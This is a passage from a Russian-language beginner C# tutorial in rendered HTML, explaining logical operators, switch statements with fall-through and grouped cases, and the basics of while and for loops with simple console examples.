class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">true</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// &amp;&amp; — И (оба условия должны быть true)</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">18</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">hasTicket</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Проходи!&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// || — ИЛИ (хотя бы одно условие true)</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">18</span><span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"o\">!</span><span class=\"n\">hasTicket</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Нельзя войти&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// ! — НЕ (инвертирует: true становится false и наоборот)</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">!</span><span class=\"n\">hasTicket</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Нет билета&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"switch-когда-вариантов-много\">switch — когда вариантов много</h4>\n<p>Представь что у тебя есть переменная, и нужно сделать разное действие в зависимости от её значения. Через <code>if/else if</code> это выглядит громоздко:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Допустим, нужно напечатать название дня по номеру</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span>\n\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">)</span><span class=\"w\">       </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Понедельник&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вторник&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Среда&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Четверг&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Пятница&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Суббота&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\"> </span><span class=\"nf\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"m\">7</span><span class=\"p\">)</span><span class=\"w\">  </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Воскресенье&quot;</span><span class=\"p\">);</span>\n<span class=\"k\">else</span><span class=\"w\">                </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неверный номер&quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<p>Это работает, но читать неудобно. Для этого и существует <code>switch</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span>\n\n<span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"p\">)</span><span class=\"w\">         </span><span class=\"c1\">// берём значение day и ищем подходящий case</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Понедельник&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вторник&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Среда&quot;</span><span class=\"p\">);</span><span class=\"w\">  </span><span class=\"c1\">// day == 3, значит сюда</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Четверг&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Пятница&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Суббота&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">7</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Воскресенье&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неверный номер&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Результат: напечатает <code>Среда</code>.</p>\n<h4 id=\"как-работает-switch-пошагово\">Как работает switch — пошагово</h4>\n<ol>\n<li>Программа берёт значение в скобках: <code>switch (day)</code> → значение <code>3</code></li>\n<li>Идёт по <code>case</code> сверху вниз и ищет совпадение: <code>case 1</code> — нет, <code>case 2</code> — нет, <code>case 3</code> — <strong>да!</strong></li>\n<li>Выполняет код внутри этого <code>case</code>: <code>Console.WriteLine(\"Среда\")</code></li>\n<li>Доходит до <code>break</code> — <strong>выходит из switch</strong></li>\n</ol>\n<p>Если ни один <code>case</code> не совпал — выполняется <code>default</code>. Это как <code>else</code> в конце цепочки if.</p>\n<h4 id=\"зачем-нужен-break-самый-важный-вопрос\">Зачем нужен break — самый важный вопрос</h4>\n<p><code>break</code> — это команда <strong>«стоп, выйди из switch»</strong>.</p>\n<p>Если <code>break</code> не написать — программа <strong>не остановится</strong> на этом <code>case</code>, а продолжит выполнять <strong>следующий case</strong> тоже! Это называется <strong>«провал»</strong> (fall-through).</p>\n<p>Смотри что будет без <code>break</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">;</span>\n\n<span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Понедельник&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"c1\">// break; — убрали!</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">2</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Вторник&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"c1\">// break; — убрали!</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">3</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Среда&quot;</span><span class=\"p\">);</span><span class=\"w\">   </span><span class=\"c1\">// сюда попадём (day == 3)</span>\n<span class=\"w\">        </span><span class=\"c1\">// break; — убрали!</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">4</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Четверг&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// и это тоже выполнится!</span>\n<span class=\"w\">        </span><span class=\"c1\">// break; — убрали!</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Пятница&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// и это!</span>\n<span class=\"w\">        </span><span class=\"c1\">// break; — убрали!</span>\n<span class=\"w\">    </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Конец&quot;</span><span class=\"p\">);</span><span class=\"w\">   </span><span class=\"c1\">// и это!</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Вывод:</p>\n<div class=\"highlight\"><pre><span></span><code>Среда\nЧетверг\nПятница\nКонец\n</code></pre></div>\n\n<p>Программа нашла <code>case 3</code>, выполнила его, но без <code>break</code> не знает что нужно остановиться — и «провалилась» вниз через <code>case 4</code>, <code>case 5</code> и <code>default</code>.</p>\n<p>Это похоже на то, как если бы ты нашёл нужный этаж на эскалаторе, но не вышел — тебя повезло дальше вниз.</p>\n<p><strong>Поэтому после каждого <code>case</code> всегда пиши <code>break</code>.</strong></p>\n<h4 id=\"один-код-на-несколько-case\">Один код на несколько case</h4>\n<p>Иногда несколько значений должны делать одно и то же. Можно поставить case подряд без break между ними:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">day</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Суббота&quot;</span><span class=\"p\">;</span>\n\n<span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">day</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Суббота&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Воскресенье&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это выходной день!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Понедельник&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Вторник&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Среда&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Четверг&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;Пятница&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Это рабочий день.&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестный день.&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Здесь <code>case \"Суббота\":</code> и <code>case \"Воскресенье\":</code> оба ведут к одному коду — <code>Console.WriteLine(\"Это выходной день!\")</code>. Пустые <code>case</code> без <code>break</code> между ними — это специально сделано так, и это работает правильно.</p>\n<h4 id=\"switch-со-строками-и-числами\">switch со строками и числами</h4>\n<p><code>switch</code> работает с <code>int</code>, <code>string</code>, <code>char</code>, <code>bool</code> и некоторыми другими типами:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// switch по строке</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">color</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;красный&quot;</span><span class=\"p\">;</span>\n\n<span class=\"k\">switch</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">color</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;красный&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Стоп!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;жёлтый&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Приготовься&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">case</span><span class=\"w\"> </span><span class=\"s\">&quot;зелёный&quot;</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Можно идти&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">default</span><span class=\"p\">:</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Неизвестный цвет&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"k\">break</span><span class=\"p\">;</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<h4 id=\"switch-vs-ifelse-когда-что-использовать\">switch vs if/else — когда что использовать?</h4>\n<table>\n<thead>\n<tr>\n<th>Ситуация</th>\n<th>Что лучше</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Проверяешь одну переменную на конкретные значения</td>\n<td><code>switch</code> — нагляднее</td>\n</tr>\n<tr>\n<td>Условие сложное (больше, меньше, диапазон)</td>\n<td><code>if/else</code> — switch не умеет <code>&gt; &lt;</code></td>\n</tr>\n<tr>\n<td>Много вариантов одной переменной (5+)</td>\n<td><code>switch</code> — короче</td>\n</tr>\n<tr>\n<td>Мало вариантов (2–3)</td>\n<td><code>if/else</code> — проще</td>\n</tr>\n</tbody>\n</table>\n<p>Например, <code>switch</code> <strong>не умеет</strong> проверять диапазоны:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Это НЕ работает в switch:</span>\n<span class=\"k\">case</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">90</span><span class=\"p\">:</span><span class=\"w\">   </span><span class=\"c1\">// ОШИБКА! switch не знает &gt;=</span>\n\n<span class=\"c1\">// Для этого нужен if:</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">&gt;=</span><span class=\"w\"> </span><span class=\"m\">90</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Отлично&quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<blockquote>\n<p>✏️ <strong>Попробуй:</strong></p>\n<ol>\n<li>Напиши программу: запрашивает число от 1 до 7 (день недели), выводит название дня через <code>switch</code>.</li>\n<li>Напиши программу: запрашивает знак операции (<code>+</code>, <code>-</code>, <code>*</code>, <code>/</code>), выводит её название (<code>\"сложение\"</code>, <code>\"вычитание\"</code> и т.д.) через <code>switch</code>.</li>\n</ol>\n</blockquote>\n<hr />\n<h3 id=\"42-циклы-делать-что-то-много-раз\">4.2 Циклы — делать что-то много раз</h3>\n<p>Цикл — это способ повторить блок кода <strong>несколько раз</strong>, не копируя его.</p>\n<p>Представь: нужно напечатать «Привет» 100 раз. Без цикла — 100 строчек <code>Console.WriteLine</code>. С циклом — 3 строчки.</p>\n<hr />\n<h4 id=\"while-пока-условие-верно\">while — пока условие верно</h4>\n<div class=\"highlight\"><pre><span></span><code>пока [условие] {\n    делай это\n}\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;i = &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// ОБЯЗАТЕЛЬНО! Иначе цикл никогда не закончится</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Что происходит пошагово:</p>\n<ol>\n<li>Проверяем: <code>0 &lt; 5</code> → true → входим в тело, печатаем <code>i = 0</code>, делаем <code>i++</code> → <code>i = 1</code></li>\n<li>Проверяем: <code>1 &lt; 5</code> → true → печатаем <code>i = 1</code>, <code>i++</code> → <code>i = 2</code></li>\n<li>Проверяем: <code>2 &lt; 5</code> → true → печатаем <code>i = 2</code>, <code>i++</code> → <code>i = 3</code></li>\n<li>Проверяем: <code>3 &lt; 5</code> → true → печатаем <code>i = 3</code>, <code>i++</code> → <code>i = 4</code></li>\n<li>Проверяем: <code>4 &lt; 5</code> → true → печатаем <code>i = 4</code>, <code>i++</code> → <code>i = 5</code></li>\n<li>Проверяем: <code>5 &lt; 5</code> → <strong>false</strong> → <strong>выходим из цикла</strong></li>\n</ol>\n<p>Результат:</p>\n<div class=\"highlight\"><pre><span></span><code>i = 0\ni = 1\ni = 2\ni = 3\ni = 4\n</code></pre></div>\n\n<p><strong>Бесконечный цикл</strong> — если забыть <code>i++</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"c1\">// i не растёт → условие всегда true → программа зависает!</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p><code>while</code> удобен когда <strong>не знаешь заранее сколько раз</strong> нужно повторить:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Введи &#39;да&#39; чтобы продолжить: &quot;</span><span class=\"p\">);</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">answer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">answer</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"s\">&quot;да&quot;</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">Write</span><span class=\"p\">(</span><span class=\"s\">&quot;Нет, правда, введи &#39;да&#39;: &quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">answer</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">ReadLine</span><span class=\"p\">();</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">&quot;Наконец-то!&quot;</span><span class=\"p\">);</span>\n</code></pre></div>\n\n<hr />\n<h4 id=\"for-цикл-со-счётчиком\">for — цикл со счётчиком</h4>\n<p><code>for</code> — самый популярный цикл. Он компактно записывает то, что <code>while</code> пишет в 3 строки:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// while-версия:</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\">       </span><span class=\"c1\">// 1. начальное значение</span>\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">)</span><span class=\"w\">    </span><span class=\"c1\">// 2. условие</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\">         </span><span class=\"c1\">// 3. шаг</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// for-версия — то же самое, но в одну строку:</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Разбор <code>for (int i = 0; i &lt; 5; i++)</code>:</p>\n<div class=\"highlight\"><pre><span></span><code>for ( НАЧАЛО ; УСЛОВИЕ ; ШАГ )\n      ↓          ↓        ↓\n  int i = 0   i &lt; 5     i++\n\n  создаём     пока i    после каждого\n  счётчик i   меньше 5  шага i растёт\n  равный 0              на 1\n</code></pre></div>\n\n<p>Порядок выполнения:</p>\n<ol>\n<li><strong>Один раз:</strong> выполняется НАЧАЛО (<code>int i = 0</code>)</li>\n<li>Проверяется УСЛОВИЕ (<code>i &lt; 5</code>)</li>\n<li>Если true — выполняется тело цикла <code>{...}</code></li>\n<li>Выполняется ШАГ (<code>i++</code>)</li>\n<li>Переходим к пункту 2</li>\n</ol>\n<h4 id=\"примеры-for\">Примеры for</h4>\n<div 